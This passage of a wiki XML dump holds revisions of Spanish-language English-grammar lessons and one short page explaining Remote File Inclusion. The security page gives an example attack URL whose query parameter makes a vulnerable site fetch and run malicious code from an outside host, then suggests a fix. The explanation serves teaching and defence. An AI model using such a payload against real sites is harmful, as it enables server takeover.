*If the verb ends in an ''-y'' preceded by a consonant, the ''y'' is replaced by ''i'' and then ''–es'' is added, .

|español=Nótese que en los primeros tres ejemplos simplemente se añade ''–s'' al verbo. Por otro lado, en el cuarto ejemplo, se añade ''-es'' al verbo, y en el último ejemplo, la ''y'' en ''cry'' es sustituida por ''i'' y después se añade ''–es'' para formar ''cries''. En general, las reglas siguientes se aplican:

*Si el verbo termina en ''–sh'', ''-ch'', ''-s'', ''-z'' o ''–x'', entonces –es es agregado al final del verbo.
*Si el verbo termina en una ''y'' precedida por una consonante, entonces ''y'' es reemplazada por ''i'' y luego se añade ''–es'' al final.
}}

{{AutoCat}}</text>
      <sha1>esw8zsglnls6gp3e5mjegt9pp3o1xew</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Adjetivos</title>
    <ns>0</ns>
    <id>14322</id>
    <revision>
      <id>429793</id>
      <parentid>352557</parentid>
      <timestamp>2026-08-01T21:58:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429793</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1231" sha1="h92yfwmy4x6n7m32lepwo4qnfg6tg55" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;

{{Ingléstitulo|title=Adjectives - Adjetivos}}

{{Ingléscolumnas|inglés=An adjective is a Word that produces a little change in a noun. In English, the adjectives precede the nouns they modify. Examples:


:::*'''The ''big'' lake''' (el lago grande)
:::*'''The ''old'' town''' (el pueblo viejo)
:::*'''A ''pretty'' girl''' (una muchacha bonita)


'''In the Vocabulary part of the book is a section with adjectives by categories: ''

|español=Un adjetivo es una palabra que causa una ligera modificación en un sustantivo, o que expresa una característica del mismo. En inglés, los adjetivos van antes del sustantivo que modifican. Ejemplos:


:::*'''The ''big'' lake''' (el lago grande)
:::*'''The ''old'' town''' (el pueblo viejo)
:::*'''A ''pretty'' girl''' (una muchacha bonita)


En la parte del libro titulada Vocabulario se encuentra una sección con adjetivos acomodados por diferentes categorías:}}


{|{{Ingléstabla}}
|[[Inglés/Vocabulario/Colores|Colores]], 
|[[Inglés/Vocabulario/Numerales|Adjetivos numerales]], 
|[[Inglés/Gramática/Adjetivos posesivos|Adjetivos posesivos]], 
|[[Inglés/Gramática/Adjetivos determinados|Adjetivos determinados]].
|}

{{AutoCat}}</text>
      <sha1>h92yfwmy4x6n7m32lepwo4qnfg6tg55</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El verbo ser o estar</title>
    <ns>0</ns>
    <id>14329</id>
    <revision>
      <id>429802</id>
      <parentid>394773</parentid>
      <timestamp>2026-08-01T21:59:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429802</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3425" sha1="5esjv2t8p6oplu0hm4eofuy55ekniya" xml:space="preserve">{{Ingléstitulo|title=Meaning and inflection acording to subject - Significado y flexión de acuerdo al sujeto}}

{{Ingléscolumnas|inglés=In English, the verb ''to be'' means ''ser'' as well as ''estar'', and this fact makes things a little bit easier. The inflection of the verb to be in simple present tense, for different subject pronouns, is as indicated by the following chart:

|español=En inglés, el verbo ''to be'' significa ''ser'' tanto como ''estar'', y este hecho hace que las cosas sean un tanto más sencillas. La flexión del verbo to be en tiempo presente simple, para diferentes sujetos, es como se indica en la siguiente tabla:}}


{|{{Ingléstabla}}
|align=&quot;center&quot; | '''Singular''' [http://www.youtube.com/watch?v=nyq3_cipMGY Audio]
|
|align=&quot;center&quot; | '''Plural'''  [http://www.youtube.com/watch?v=nyq3_cipMGY Audio]
|
|-
|
|'''contraction'''
|
|'''contraction'''
|-
| '''I &lt;u&gt;am&lt;/u&gt;''' (yo soy)
|'''I'm'''
| '''we &lt;u&gt;are&lt;/u&gt;''' (nosotros somos)
|'''we're'''
|-
| '''you &lt;u&gt;are&lt;/u&gt;''' (tú eres)
|'''you're'''
| '''you &lt;u&gt;are&lt;/u&gt;''' (ustedes son)
|'''you're'''
|-
| '''he &lt;u&gt;is&lt;/u&gt;''' (él es)
|'''he's'''
| '''they &lt;u&gt;are&lt;/u&gt;''' (ellos son)
|'''they're'''
|-
| '''she &lt;u&gt;is&lt;/u&gt;''' (ella es)
|'''she's'''
|
|
|-
| '''it &lt;u&gt;is&lt;/u&gt;''' (él/ella [cosa, animal, tiempo, clima] es)
|'''it's'''
|
|
|}


{|{{Ingléstabla}}
|'''If the subject is a &lt;span style=&quot;color:red;&quot;&gt;singular noun&lt;/span&gt;, then ''&lt;u&gt;is&lt;/u&gt;'' is used.'''
|'''If the subject is a &lt;span style=&quot;color:red;&quot;&gt;plural noun&lt;/span&gt;, then ''&lt;u&gt;are&lt;/u&gt;'' is used.'''
|-
|Si el sujeto es un &lt;span style=&quot;color:red;&quot;&gt;sustantivo singular&lt;/span&gt;, entonces se usa ''&lt;u&gt;is&lt;/u&gt;''.
|Si el sujeto es un &lt;span style=&quot;color:red;&quot;&gt;sustantivo plural&lt;/span&gt;, entonces se usa ''&lt;u&gt;are&lt;/u&gt;''.
|}


{{Ingléstitulo|title=Negation}}


{{Ingléscolumnas|inglés=The negation of the verb ''to be'' is formed by placing ''not'' after the inflected form of this verb:

|español=La negación del verbo ''to be'' se forma poniendo ''not'' después de la forma flexionada del verbo:}}


{|{{Ingléstabla}}
|Singular
|width=&quot;20px&quot;|
|Plural
|-
|'''I am not''' (yo no soy)
|
|'''we are not = we aren't''' (nosotros no somos)
|-
|'''you are not = you aren't''' (tú no eres)
|
|'''you are not = you aren't''' (ustedes no son)
|-
|'''he/she/it is not = he/she/it isn't''' (él/ella no es)
|
|'''they are not = they aren't''' (ellos no son)
|}


{{Ingléstitulo|title=Examples}}

#'''&lt;u&gt;My father is&lt;/u&gt; the person I admire the most. &lt;u&gt;He is&lt;/u&gt; very hardworking.''' (Mi padre es la persona que más admiro. Él es muy trabajador)
#'''&lt;u&gt;The Queen&lt;/u&gt; of England &lt;u&gt;is&lt;/u&gt; Elizabeth II.''' (La Reina de Inglaterra es Isabel II)
#'''&lt;u&gt;London is&lt;/u&gt; the largest city in England. &lt;u&gt;It is&lt;/u&gt; also the largest city of the United Kingdom and the European Union.''' (Londres es la ciudad más grande de Inglaterra. Es también la ciudad más grande del Reino Unido y la Unión Europea)
#'''&lt;u&gt;Dolphins are&lt;/u&gt; very intelligent animals.''' (Los delfines son animales muy inteligentes)
#'''&lt;u&gt;You are&lt;/u&gt; a kind person.''' (Tú eres una persona gentil)
#'''&lt;u&gt;You&lt;/u&gt; all &lt;u&gt;are&lt;/u&gt; good friends.''' (Ustedes son buenos amigos)
#'''When &lt;u&gt;tomatoes are&lt;/u&gt; red, they taste good, but &lt;u&gt;the only tomato&lt;/u&gt; we have &lt;u&gt;is&lt;/u&gt; green.''' (Cuando los tomates están rojos, saben bien, pero el único tomate que tenemos está verde)


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>5esjv2t8p6oplu0hm4eofuy55ekniya</sha1>
    </revision>
    <revision>
      <id>429885</id>
      <parentid>429802</parentid>
      <timestamp>2026-08-01T22:09:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429885</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3385" sha1="rvmq6tdi8n8uwuyf4i9d04jmmd122g4" xml:space="preserve">{{Ingléstitulo|title=Meaning and inflection acording to subject - Significado y flexión de acuerdo al sujeto}}

{{Ingléscolumnas|inglés=In English, the verb ''to be'' means ''ser'' as well as ''estar'', and this fact makes things a little bit easier. The inflection of the verb to be in simple present tense, for different subject pronouns, is as indicated by the following chart:

|español=En inglés, el verbo ''to be'' significa ''ser'' tanto como ''estar'', y este hecho hace que las cosas sean un tanto más sencillas. La flexión del verbo to be en tiempo presente simple, para diferentes sujetos, es como se indica en la siguiente tabla:}}


{|{{Ingléstabla}}
|align=&quot;center&quot; | '''Singular''' [http://www.youtube.com/watch?v=nyq3_cipMGY Audio]
|
|align=&quot;center&quot; | '''Plural'''  [http://www.youtube.com/watch?v=nyq3_cipMGY Audio]
|
|-
|
|'''contraction'''
|
|'''contraction'''
|-
| '''I &lt;u&gt;am&lt;/u&gt;''' (yo soy)
|'''I'm'''
| '''we &lt;u&gt;are&lt;/u&gt;''' (nosotros somos)
|'''we're'''
|-
| '''you &lt;u&gt;are&lt;/u&gt;''' (tú eres)
|'''you're'''
| '''you &lt;u&gt;are&lt;/u&gt;''' (ustedes son)
|'''you're'''
|-
| '''he &lt;u&gt;is&lt;/u&gt;''' (él es)
|'''he's'''
| '''they &lt;u&gt;are&lt;/u&gt;''' (ellos son)
|'''they're'''
|-
| '''she &lt;u&gt;is&lt;/u&gt;''' (ella es)
|'''she's'''
|
|
|-
| '''it &lt;u&gt;is&lt;/u&gt;''' (él/ella [cosa, animal, tiempo, clima] es)
|'''it's'''
|
|
|}


{|{{Ingléstabla}}
|'''If the subject is a &lt;span style=&quot;color:red;&quot;&gt;singular noun&lt;/span&gt;, then ''&lt;u&gt;is&lt;/u&gt;'' is used.'''
|'''If the subject is a &lt;span style=&quot;color:red;&quot;&gt;plural noun&lt;/span&gt;, then ''&lt;u&gt;are&lt;/u&gt;'' is used.'''
|-
|Si el sujeto es un &lt;span style=&quot;color:red;&quot;&gt;sustantivo singular&lt;/span&gt;, entonces se usa ''&lt;u&gt;is&lt;/u&gt;''.
|Si el sujeto es un &lt;span style=&quot;color:red;&quot;&gt;sustantivo plural&lt;/span&gt;, entonces se usa ''&lt;u&gt;are&lt;/u&gt;''.
|}


{{Ingléstitulo|title=Negation}}


{{Ingléscolumnas|inglés=The negation of the verb ''to be'' is formed by placing ''not'' after the inflected form of this verb:

|español=La negación del verbo ''to be'' se forma poniendo ''not'' después de la forma flexionada del verbo:}}


{|{{Ingléstabla}}
|Singular
|width=&quot;20px&quot;|
|Plural
|-
|'''I am not''' (yo no soy)
|
|'''we are not = we aren't''' (nosotros no somos)
|-
|'''you are not = you aren't''' (tú no eres)
|
|'''you are not = you aren't''' (ustedes no son)
|-
|'''he/she/it is not = he/she/it isn't''' (él/ella no es)
|
|'''they are not = they aren't''' (ellos no son)
|}


{{Ingléstitulo|title=Examples}}

#'''&lt;u&gt;My father is&lt;/u&gt; the person I admire the most. &lt;u&gt;He is&lt;/u&gt; very hardworking.''' (Mi padre es la persona que más admiro. Él es muy trabajador)
#'''&lt;u&gt;The Queen&lt;/u&gt; of England &lt;u&gt;is&lt;/u&gt; Elizabeth II.''' (La Reina de Inglaterra es Isabel II)
#'''&lt;u&gt;London is&lt;/u&gt; the largest city in England. &lt;u&gt;It is&lt;/u&gt; also the largest city of the United Kingdom and the European Union.''' (Londres es la ciudad más grande de Inglaterra. Es también la ciudad más grande del Reino Unido y la Unión Europea)
#'''&lt;u&gt;Dolphins are&lt;/u&gt; very intelligent animals.''' (Los delfines son animales muy inteligentes)
#'''&lt;u&gt;You are&lt;/u&gt; a kind person.''' (Tú eres una persona gentil)
#'''&lt;u&gt;You&lt;/u&gt; all &lt;u&gt;are&lt;/u&gt; good friends.''' (Ustedes son buenos amigos)
#'''When &lt;u&gt;tomatoes are&lt;/u&gt; red, they taste good, but &lt;u&gt;the only tomato&lt;/u&gt; we have &lt;u&gt;is&lt;/u&gt; green.''' (Cuando los tomates están rojos, saben bien, pero el único tomate que tenemos está verde)


{{AutoCat}}</text>
      <sha1>rvmq6tdi8n8uwuyf4i9d04jmmd122g4</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Remote File Inclusion</title>
    <ns>0</ns>
    <id>14341</id>
    <revision>
      <id>429784</id>
      <parentid>68858</parentid>
      <timestamp>2026-08-01T21:34:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429784</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1092" sha1="mxmjvbnnog75khygvndr78ymzd6cpri" xml:space="preserve">Remote File Inclusion, su traducción es Inclusión de Archivo Remota.
Esta es una vulnerabilidad en la programación web. Puede ser una de las vulnerabilidades más críticas. Esta consiste en utilizar un código maligno almacenado en un host remoto y ejecutarlo en el servidor de la víctima. Un ejemplo de una URL sería: http://www.webvulnerable.com/index.php?pagina=http://www.codigos.com/maligno.txt
De esta manera el host &quot;webvulnerable.com&quot; ejecutaría el archivo que se encuentra en &quot;codigos.com&quot;, este archivo puede contener un sistema de administración de archivos, de esta manera el atacante podrá ejecutar acciones en el servidor ajeno. Esta vulnerabilidad se encuentra al utilizar un include en un querystring.
index.php?pagina=
Esto se podría solucionar utilizando un código que al detectar que &quot;pagina=http://*&quot; automaticamente se muestre la página principal. O bien no utilizar este tipo de sistemas y simplemente usar links completos. Esta vulnerabilidad afecta a gran parte de los sitios.  Se podría considerar como una vulnerabilidad de riesgo crítico.

{{AutoCat}}</text>
      <sha1>mxmjvbnnog75khygvndr78ymzd6cpri</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El verbo tener</title>
    <ns>0</ns>
    <id>14371</id>
    <revision>
      <id>429803</id>
      <parentid>166574</parentid>
      <timestamp>2026-08-01T21:59:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429803</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1132" sha1="6tiqb8ygnce6k2qk7o4avr9ca5t98vo" xml:space="preserve">{{Ingléstitulo|title= The verb ''to have''}}


{{Ingléscolumnas|inglés=The subject inflection of the verb ''to have'' in simple present tense is very easy. It is as specified in the following chart:

|español=La flexión del verbo ''to have'' (''tener'' o ''haber''), de acuerdo al sujeto, en tiempo presente simple es muy fácil. Es como se especifica en la siguiente tabla:}}

{|{{Ingléstabla}}
|align=&quot;center&quot; | '''Singular'''
|align=&quot;center&quot; | '''Plural'''
|-
|I have
|we have
|-
|you have
|you have
|-
|he, she, it has
|they have
|}


{{Ingléscolumnas|inglés=If the subject is a singular noun, then use ''has''. If the subject is a plural noun, then use ''have''.

|español=Si el sujeto es un sustantivo singular, entonces se usa ''has''. Si el sujeto es un sustantivo plural, entonces se usa ''have''.}}


{{Ingléstitulo|title=Examples}}


#'''''I have'' a friend who is very good at mathematics.'''
#'''''You have'' a very interesting brother.'''
#'''''My sister has'' a dog. ''She'' also ''has'' a hamster.'''
#''''' New York city has'' many tall buildings.'''


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>6tiqb8ygnce6k2qk7o4avr9ca5t98vo</sha1>
    </revision>
    <revision>
      <id>429890</id>
      <parentid>429803</parentid>
      <timestamp>2026-08-01T22:09:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429890</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1092" sha1="kr8afhzpbxncalep7u4r7sx8lsh7xq0" xml:space="preserve">{{Ingléstitulo|title= The verb ''to have''}}


{{Ingléscolumnas|inglés=The subject inflection of the verb ''to have'' in simple present tense is very easy. It is as specified in the following chart:

|español=La flexión del verbo ''to have'' (''tener'' o ''haber''), de acuerdo al sujeto, en tiempo presente simple es muy fácil. Es como se especifica en la siguiente tabla:}}

{|{{Ingléstabla}}
|align=&quot;center&quot; | '''Singular'''
|align=&quot;center&quot; | '''Plural'''
|-
|I have
|we have
|-
|you have
|you have
|-
|he, she, it has
|they have
|}


{{Ingléscolumnas|inglés=If the subject is a singular noun, then use ''has''. If the subject is a plural noun, then use ''have''.

|español=Si el sujeto es un sustantivo singular, entonces se usa ''has''. Si el sujeto es un sustantivo plural, entonces se usa ''have''.}}


{{Ingléstitulo|title=Examples}}


#'''''I have'' a friend who is very good at mathematics.'''
#'''''You have'' a very interesting brother.'''
#'''''My sister has'' a dog. ''She'' also ''has'' a hamster.'''
#''''' New York city has'' many tall buildings.'''


{{AutoCat}}</text>
      <sha1>kr8afhzpbxncalep7u4r7sx8lsh7xq0</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Presente progresivo</title>
    <ns>0</ns>
    <id>14379</id>
    <revision>
      <id>429809</id>
      <parentid>352566</parentid>
      <timestamp>2026-08-01T22:00:28Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429809</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3443" sha1="7lxm8o17796l38toa0tqnqfzsdd1qm0" xml:space="preserve">{{Ingléstitulo|title=Present Progressive - Presente progresivo}}


{{Ingléscolumnas|inglés=Present progressive tense is used to express that an activity is going on at the moment of speaking.

|español=El presente progresivo es usado para expresar que una actividad está sucediendo al momento de hablar.}}


&lt;center&gt;&lt;div style=&quot;width:600px; border:#99B3FF solid 1px&quot;&gt; 

&lt;div style=&quot;width:100%; text-align:center; background-color: #EAF4FF; border:#99B3FF solid 1px&quot;&gt;
'''Present Progressive:''' The action began in the past, and it is going on at the moment of speaking. Probably the activity will continue and end at some point in the future.
&lt;/div&gt;
&lt;/div&gt;
&lt;/center&gt;


{{Ingléscolumnas|inglés=For example, right at this moment, 
|'''Tu estas leyendo el libro de ingles.''' 
|español=Por ejemplo, en este preciso momento,}}

{|{{Ingléstabla}}
|'''you are reading the English book.''' 
|}


{{Ingléscolumnas|inglés=Nevertheless, present progressive can be used in a slightly different sense, expressing activities of a more general nature or which will happen in a near future. Examples:

|español=Sin embargo, el presente progresivo puede ser usado en un sentido ligeramente diferente, expresando actividades de una naturaleza más general o que sucederán en un futuro cercano. Ejemplos:}}


{|{{Ingléstabla}}
|'''I am taking German classes this semester.'''
|-
|'''I am going shopping today.'''
|}


{{Ingléscolumnas|inglés=A verb, inflected to form a progressive tense, has always the ending ''–ing''. In most cases, it is enough to place ''–ing'' at the end of the verb. However, it is sometimes necessary to do other changes to the verb. If the verb ends in a silent ''e'' (as in ''take''), remove it and then place ''–ing'' instead (as in ''taking''). If the verb is short and ends in a consonant preceded by a stressed vowel (as in ''get''), that consonant is doubled and then ''–ing'' is added (as in ''getting''). In British English, if the verb ends in an ''l'' preceded by a vowel (as in ''model''), the ''l'' is always doubled (as in ''modelling''). An exception to this rule is the verb ''to deal''. If ''ie'' are the letters the verb ends in (as in ''lie''), replace them by ''y'' (as in ''lying'').


'''In the affirmative form, a present progressive sentence has the following form:'''

|español=Un verbo, flexionado para formar el tiempo progresivo, siempre tiene la terminación ''–ing''. En la mayoría de los casos es suficiente poner ''–ing'' al final del verbo. Sin embargo, en ocasiones es necesario efectuar otros cambios en el verbo. Si el verbo termina en ''e'' (como en ''take''), remuévase  la ''e'' y luego póngase ''–ing'' (como en ''taking''). Si el verbo es corto y termina en una consonante precedida por una vocal acentuada (como en ''get''), esa consonante es duplicada y luego –''ing'' es agregado (como en ''getting''). En el inglés británico, si el verbo termina en una ''l'' precedida por una vocal (como en ''model''), entonces la ''l'' es duplicada (como en modelling). Una excepción a esta regla es el verbo ''to deal''. Si ''ie'' son las letras en que termina el verbo (como en ''lie''), se reemplazan por y (como en ''lying'').


En forma afirmativa, una oración en presente progresivo tiene la forma siguiente:}}


{|{{Ingléstabla}}
|'''Subject''' + '''to be''' + '''present progressive verb''' + '''object


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>7lxm8o17796l38toa0tqnqfzsdd1qm0</sha1>
    </revision>
    <revision>
      <id>429914</id>
      <parentid>429809</parentid>
      <timestamp>2026-08-01T22:09:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429914</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3403" sha1="sb3nhx9wug21vfi9ozngzeczog3lgpi" xml:space="preserve">{{Ingléstitulo|title=Present Progressive - Presente progresivo}}


{{Ingléscolumnas|inglés=Present progressive tense is used to express that an activity is going on at the moment of speaking.

|español=El presente progresivo es usado para expresar que una actividad está sucediendo al momento de hablar.}}


&lt;center&gt;&lt;div style=&quot;width:600px; border:#99B3FF solid 1px&quot;&gt; 

&lt;div style=&quot;width:100%; text-align:center; background-color: #EAF4FF; border:#99B3FF solid 1px&quot;&gt;
'''Present Progressive:''' The action began in the past, and it is going on at the moment of speaking. Probably the activity will continue and end at some point in the future.
&lt;/div&gt;
&lt;/div&gt;
&lt;/center&gt;


{{Ingléscolumnas|inglés=For example, right at this moment, 
|'''Tu estas leyendo el libro de ingles.''' 
|español=Por ejemplo, en este preciso momento,}}

{|{{Ingléstabla}}
|'''you are reading the English book.''' 
|}


{{Ingléscolumnas|inglés=Nevertheless, present progressive can be used in a slightly different sense, expressing activities of a more general nature or which will happen in a near future. Examples:

|español=Sin embargo, el presente progresivo puede ser usado en un sentido ligeramente diferente, expresando actividades de una naturaleza más general o que sucederán en un futuro cercano. Ejemplos:}}


{|{{Ingléstabla}}
|'''I am taking German classes this semester.'''
|-
|'''I am going shopping today.'''
|}


{{Ingléscolumnas|inglés=A verb, inflected to form a progressive tense, has always the ending ''–ing''. In most cases, it is enough to place ''–ing'' at the end of the verb. However, it is sometimes necessary to do other changes to the verb. If the verb ends in a silent ''e'' (as in ''take''), remove it and then place ''–ing'' instead (as in ''taking''). If the verb is short and ends in a consonant preceded by a stressed vowel (as in ''get''), that consonant is doubled and then ''–ing'' is added (as in ''getting''). In British English, if the verb ends in an ''l'' preceded by a vowel (as in ''model''), the ''l'' is always doubled (as in ''modelling''). An exception to this rule is the verb ''to deal''. If ''ie'' are the letters the verb ends in (as in ''lie''), replace them by ''y'' (as in ''lying'').


'''In the affirmative form, a present progressive sentence has the following form:'''

|español=Un verbo, flexionado para formar el tiempo progresivo, siempre tiene la terminación ''–ing''. En la mayoría de los casos es suficiente poner ''–ing'' al final del verbo. Sin embargo, en ocasiones es necesario efectuar otros cambios en el verbo. Si el verbo termina en ''e'' (como en ''take''), remuévase  la ''e'' y luego póngase ''–ing'' (como en ''taking''). Si el verbo es corto y termina en una consonante precedida por una vocal acentuada (como en ''get''), esa consonante es duplicada y luego –''ing'' es agregado (como en ''getting''). En el inglés británico, si el verbo termina en una ''l'' precedida por una vocal (como en ''model''), entonces la ''l'' es duplicada (como en modelling). Una excepción a esta regla es el verbo ''to deal''. Si ''ie'' son las letras en que termina el verbo (como en ''lie''), se reemplazan por y (como en ''lying'').


En forma afirmativa, una oración en presente progresivo tiene la forma siguiente:}}


{|{{Ingléstabla}}
|'''Subject''' + '''to be''' + '''present progressive verb''' + '''object


{{AutoCat}}</text>
      <sha1>sb3nhx9wug21vfi9ozngzeczog3lgpi</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos que expresan condición</title>
    <ns>0</ns>
    <id>14381</id>
    <revision>
      <id>429817</id>
      <parentid>352572</parentid>
      <timestamp>2026-08-01T22:01:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429817</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1723" sha1="ne7coa0akebojlfat8xfqqxo15q1gy0" xml:space="preserve">{{Ingléstitulo|title=Stative Verbs}}


{{Ingléscolumnas|inglés=Some verbs, often called ''stative verbs'', are distinguished because they describe states, i.e. situations and conditions. An important grammar fact is that stative verbs are, if ever possible, infrequently used in progressive tenses. The following verbs have always stative meaning:

|español=Algunos verbos, frecuentemente llamados verbos estaticos,  se distinguen por que describen estados, i.e situaciones y condiciones. Un importante hecho gramatical es que los verbos estaticos son, si acaso es posible, raramente usados en tiempos progresivos.  Los siguientes verbos son siempre estaticos:}}

{|{{Ingléstabla}}
|amaze
|appreciate
|astonish
|believe
|belong
|care
|consist of
|contain
|-
|desire
|dislike
|envy
|equal
|exist
|fear
|feel
|hate
|-
|hear
|know
|like
|look like
|love
|matter
|mind
|need
|-
|owe
|own
|please
|possess
|prefer
|realize
|recognize
|resemble
|-
|seem
|sound
|suppose
|surprise
|understand
|}


{{Ingléscolumnas|inglés=Hence, it is incorrect to say

|español=Por lo tanto, es incorrecto decir}}

{|{{Nocorrect}}
|Now that I am trying it, I am ''liking'' it. 
|}

{{Ingléscolumnas|inglés=The correct form is:

|español=La forma correcta es:}}

{|{{Ingléstabla}}
|Now that I am trying it, I ''like'' it.
|}


{{Ingléscolumnas|inglés=There are verbs that have both progressive and stative meaningful uses:

|español=Existen verbos que tienen usos con sentido tanto en forma progresiva como tipo estático:}}


{|{{Ingléstabla}}
|appear
|be
|cost
|doubt
|feel
|forget
|have
|imagine
|-
|include
|look
|mean
|remember
|see
|smell
|taste
|think
|-
|want
|weigh
|}


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>ne7coa0akebojlfat8xfqqxo15q1gy0</sha1>
    </revision>
    <revision>
      <id>429928</id>
      <parentid>429817</parentid>
      <timestamp>2026-08-01T22:09:18Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429928</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1683" sha1="7zr445xud89xf3xw6kfm2byu9n8pn2i" xml:space="preserve">{{Ingléstitulo|title=Stative Verbs}}


{{Ingléscolumnas|inglés=Some verbs, often called ''stative verbs'', are distinguished because they describe states, i.e. situations and conditions. An important grammar fact is that stative verbs are, if ever possible, infrequently used in progressive tenses. The following verbs have always stative meaning:

|español=Algunos verbos, frecuentemente llamados verbos estaticos,  se distinguen por que describen estados, i.e situaciones y condiciones. Un importante hecho gramatical es que los verbos estaticos son, si acaso es posible, raramente usados en tiempos progresivos.  Los siguientes verbos son siempre estaticos:}}

{|{{Ingléstabla}}
|amaze
|appreciate
|astonish
|believe
|belong
|care
|consist of
|contain
|-
|desire
|dislike
|envy
|equal
|exist
|fear
|feel
|hate
|-
|hear
|know
|like
|look like
|love
|matter
|mind
|need
|-
|owe
|own
|please
|possess
|prefer
|realize
|recognize
|resemble
|-
|seem
|sound
|suppose
|surprise
|understand
|}


{{Ingléscolumnas|inglés=Hence, it is incorrect to say

|español=Por lo tanto, es incorrecto decir}}

{|{{Nocorrect}}
|Now that I am trying it, I am ''liking'' it. 
|}

{{Ingléscolumnas|inglés=The correct form is:

|español=La forma correcta es:}}

{|{{Ingléstabla}}
|Now that I am trying it, I ''like'' it.
|}


{{Ingléscolumnas|inglés=There are verbs that have both progressive and stative meaningful uses:

|español=Existen verbos que tienen usos con sentido tanto en forma progresiva como tipo estático:}}


{|{{Ingléstabla}}
|appear
|be
|cost
|doubt
|feel
|forget
|have
|imagine
|-
|include
|look
|mean
|remember
|see
|smell
|taste
|think
|-
|want
|weigh
|}


{{AutoCat}}</text>
      <sha1>7zr445xud89xf3xw6kfm2byu9n8pn2i</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pasado progresivo</title>
    <ns>0</ns>
    <id>14390</id>
    <revision>
      <id>429804</id>
      <parentid>352560</parentid>
      <timestamp>2026-08-01T22:00:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429804</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2645" sha1="cu3iil4ticiopehy9p5zgdbqgrfizoz" xml:space="preserve">{{Ingléstitulo|title=Structure - Estructura}}


{{Ingléscolumnas|inglés=The structure of a simple sentence in past progressive tense is the following:

|español=La estructura de una sencilla oración en tiempo pasado progresivo es la siguiente:}}


{|{{Ingléstabla}}
|noun/pronoun + was/were + verb in progressive form.             &quot;was y were son complementos&quot;

|}


{{Ingléscolumnas|inglés=Examples:

|español=Ejemplos:}}


{|{{Ingléstabla}}
|I was walking.
|-
|You were eating.
|-
|She was thinking.
|-
|We were planning.
|-
|It was snowing.
|-
|The Moon was lighting.
|}


{{Ingléstitulo|title=Uses - Usos}}


&lt;center&gt;&lt;div style=&quot;width:600px; border:#99B3FF solid 1px&quot;&gt; 

&lt;div style=&quot;width:100%; text-align:center; background-color: #EAF4FF; border:#99B3FF solid 1px&quot;&gt;
'''Present Progressive:''' The action was in progress when another action occurred.
&lt;/div&gt;
&lt;/div&gt;
&lt;/center&gt;


{{Ingléscolumnas|inglés=Past progressive tense is usually used to communicate that an activity was going on when another action occurred. Example:

|español=El tiempo pasado progresivo es comúnmente usado para comunicar que una actividad estaba sucediendo cuando otra acción ocurrió. Ejemplo:}}


{|{{Ingléstabla}}
|When ''I was walking'' home, I saw my old friend John.
|}


{{Ingléscolumnas|inglés=''I saw my old friend John'' is the part in simple past tense, and ''when I was walking home'' is te part in past progressive tense. Another example is

|español=''I saw my old friend'' es una parte en tiempo pasado simple, y ''when I was walking home'' es una parte dependiente en tiempo pasado progresivo. Otro ejemplo es}}


{|{{Ingléstabla}}
|Because ''it was raining'', we could not go outside.
|}


